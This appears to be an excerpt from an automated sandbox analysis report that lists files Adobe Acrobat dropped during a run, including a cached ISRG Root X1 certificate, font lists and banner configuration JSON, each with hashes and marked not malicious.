Preview:	.... .c.....X.*U........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkluAWi/tfllXlE/HT8kztlrtNNX8RolJuRdxLlGB9lQRYwpDdt:kK3AJ/eT86tpNMa8RdWBwRd
MD5:	ADDB927DE36DFDECB4EC1CE16CDC6EF4
SHA1:	BE8E6278F3811C23695AD1711ECDFE465190F7EE
SHA-256:	DB5A19E92BCC4967C850B79B9627A5E8E475EF1B637203ACF05B594309A3494A
SHA-512:	43D40110F6AEB249B637F50A9EAB557104B2C078D3B450A9ED131339D69C74D3EEE4D2F4E3520C36D268166A9599BE2FB48059FC0A8963320EDBB3CF7C817833
Malicious:	false
Preview:	p...... ..........~..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.480

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.480

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.377519633221247
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJM3g98kUwPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGMbLUkee9
MD5:	408C70DFA12AB90787B0ED743238BDE5
SHA1:	83A184AD6C1889B9E7A64CDF2DC91B89385C7206
SHA-256:	6D89F57E4B9D5C998ACF43A1747E0FA7E652FF048CA9BF588CB6383D201EE02F
SHA-512:	8AD0155BEF080B9AE3E919EC35251CEA2640927AA8C6C227A311DC6C3336B9D8BE31DB96C4943702866698062276F7B0024C1B239BB74A6DD54B9395260EEB98
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.328390491228836
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfBoTfXpnrPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGWTfXcUkee9
MD5:	7E61DA1C6D9748A38462281CF2C3B8A8
SHA1:	1D038B3F39BDD0F2FE79C7C3914F36EBBB4CB688
SHA-256:	BFC684B64DA992CF37AC4A8E76703816D868BDE3735F291E2AC4D1117040E882
SHA-512:	89D1EBBA6B855D751BE41EE2024651B2DD975FFF9514D0A53A4BA184C6AD0E55A0B898032A4B405C109D8A196C33B562977DC585BFE06F8924D68F8BB444AE9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306240584805906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfBD2G6UpnrPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGR22cUkee9
MD5:	DBB22680F6BE043939B241D82D397D86
SHA1:	0CC6EF70A7A611E535C337F0D6413A2E265EB83E
SHA-256:	518B2B596A8A1F0E946760DE8498C1D6DF547C3D9A476E411AEBBDEB7F621F1B
SHA-512:	797C9A4FB1DE6A43A421FCA798C621341D14499D317DF795299A06B3CBF9CD78905B040F98DC7619AF596C4232A8651671AE5D4D71E19B8CB54CF1E861891DFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.365026849834093
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfPmwrPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGH56Ukee9
MD5:	3A1C438D7C5EC65CC119873D20CA2EB2
SHA1:	DEB2E38DD637929C996A15E2A8774A3852339A81
SHA-256:	9B6E99578BE543E4FC6D19A55612903123552C9E0582D04A766E2F94D330AD5F
SHA-512:	CFD584638FE91B5DD00B885C6D92FF99B80D8FE03144A8F9CFF94C0A2FF35BC6BBD23E403ACE859E667C592D754C3218C54EC1C7BE627EC2710D07599A99991C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69214261106691
Encrypted:	false
SSDEEP:	24:Yv6X1m2zvHLJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:YvkmuTJhgy6SAFv5Ah8cv/I
MD5:	9D90B59124617FBE3FE8712456592D70
SHA1:	183A324AC32C056D7D3489614C16869185280DBB
SHA-256:	37D8C885268FA3C03C6500975DF9C877F62920EE81702138B50C63D683F30C74
SHA-512:	119228459392B4EF718309409E86798959DC38A5553D569648F20319C0545A24CDAD05C094ED1520E7530E995AAE8C4965089192D59324B5600109CBBEF2DAA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313025693657369
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJf8dPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGU8Ukee9
MD5:	1C27FAC96D8E3DB803F0D14D08A213E4
SHA1:	A6A958CA4AFFCA2FE22B4FBE11835476F0CE2AFF
SHA-256:	A38655B1D082A4C425C95843F2CC4A44B8483937DA8CBF775745E083DFB2F487
SHA-512:	707927BC16D5F15E52607DAE276091BF0EB733CC198931FA44B2D73851D8954AE5ED75F1EEABDC699EE20D6D9782DD3BA0B97D9B546FD889CB2998B564E00A0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.316774305675862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfQ1rPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGY16Ukee9
MD5:	D53E89527C5EBF46F7D906A1A7C1898D
SHA1:	A8365540E582816116874E91A57FF5541E5988D9
SHA-256:	000D2CD0836304C6DBDEE04FF26DE154676C1DC67491C6C5207EF308F3662C72
SHA-512:	E203692FF4BC38C696916244A5C104D18F5BBD90C2813BE35C7C2198B5E830D52BED9241F28E6761B329D13AB3B787DB8A1D0E21799BAEABB3C80B89A8C767B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.32378839502606
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfFldPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGz8Ukee9
MD5:	965E4CC4BB881401914588C0F177650C
SHA1:	94F17884D5F8E9CE329FF517CD6485A20ECE24AC
SHA-256:	BDE11947825351123CF1A03D048342D4FEF7334A8414FBF9F837CB708C28587F
SHA-512:	5D97C69853F16A38D316E00CBFD6979ECB32769DF9D9DA20BB2FCA07E6005B7E2063B2D2613467725D60C29B3921CDF40B3BDC2827C927968458E5158DDD9A9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3393007949079685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfzdPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGb8Ukee9
MD5:	D7E7D875C84D3DB99FE1D3B4BDB7545F
SHA1:	5542C655E83715E7029737E9E6CAB745E839E3CE
SHA-256:	8D57C226B4EC020F432F35EFD6DB6ABFAAF02ACF80A4E95D63A4F1EADB44D528
SHA-512:	79C41375AF9CED8EE765DF0E9FE8E138DFBF4E7E3A81176D9929CECDE4AED985424A2DD64C4788B7183AB6D3EB39B89F0D2A61AA25F856213CF8002D9AC630F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320064640174689
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfYdPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGg8Ukee9
MD5:	65917AE2DA0EB652019C6F562AE54B2D
SHA1:	74C3CF2DF18BCCDBFE932244D9F3875C67F1E6D3
SHA-256:	21758E8F23EAD696CF61B19CC55F29336B1A573685936612542992FBEBDFF3CB
SHA-512:	F7695690A85BD347BE75026573C91BD0558048625D26F4C2D5F8672A31B06AB1D4FB1A58400391E5CC98D5479AB5F5F549CA349577FB8E21E16A9372BE3C773F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.306468263704862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJf+dPeUkwRe9:YvXKX5WIbaYlZc0vHSWsG28Ukee9
MD5:	337506BF8733A923B6F4A326D1BBE68A
SHA1:	59F2362237B81190D6CB9641699E4191442E9832
SHA-256:	B9DABBCEE89AFA7F4234340E6074672A4E33F51096FB907EF40787C151CA9984
SHA-512:	0308AE2EB9BAB20E87A283E3BC78D7154C9ABC5F118000DA09182C48DFEA33A397C707139B3FFB7258C7EBB2098D237F104F89E6E59267949DF7EF08119082C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4ec5bb53-89b9-47f8-83a0-c95697c7d482","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742801501,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.303473836541509
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDAHQWIbo7mKHYkVoZcg1vRcR0Y0LSWDoAvJfbPtdPeUkwRe9:YvXKX5WIbaYlZc0vHSWsGDV8Ukee9
MD5:	047959EEC2601F529CD3260815977383
SHA1:	7D165886084F1F32AC09461F42B23383EE11CB3C
SHA-256:	C7A36309ABBB3D64FB2FEE00AD1C7C60280938B6E78CB1C4C57AA3F766EB36FA
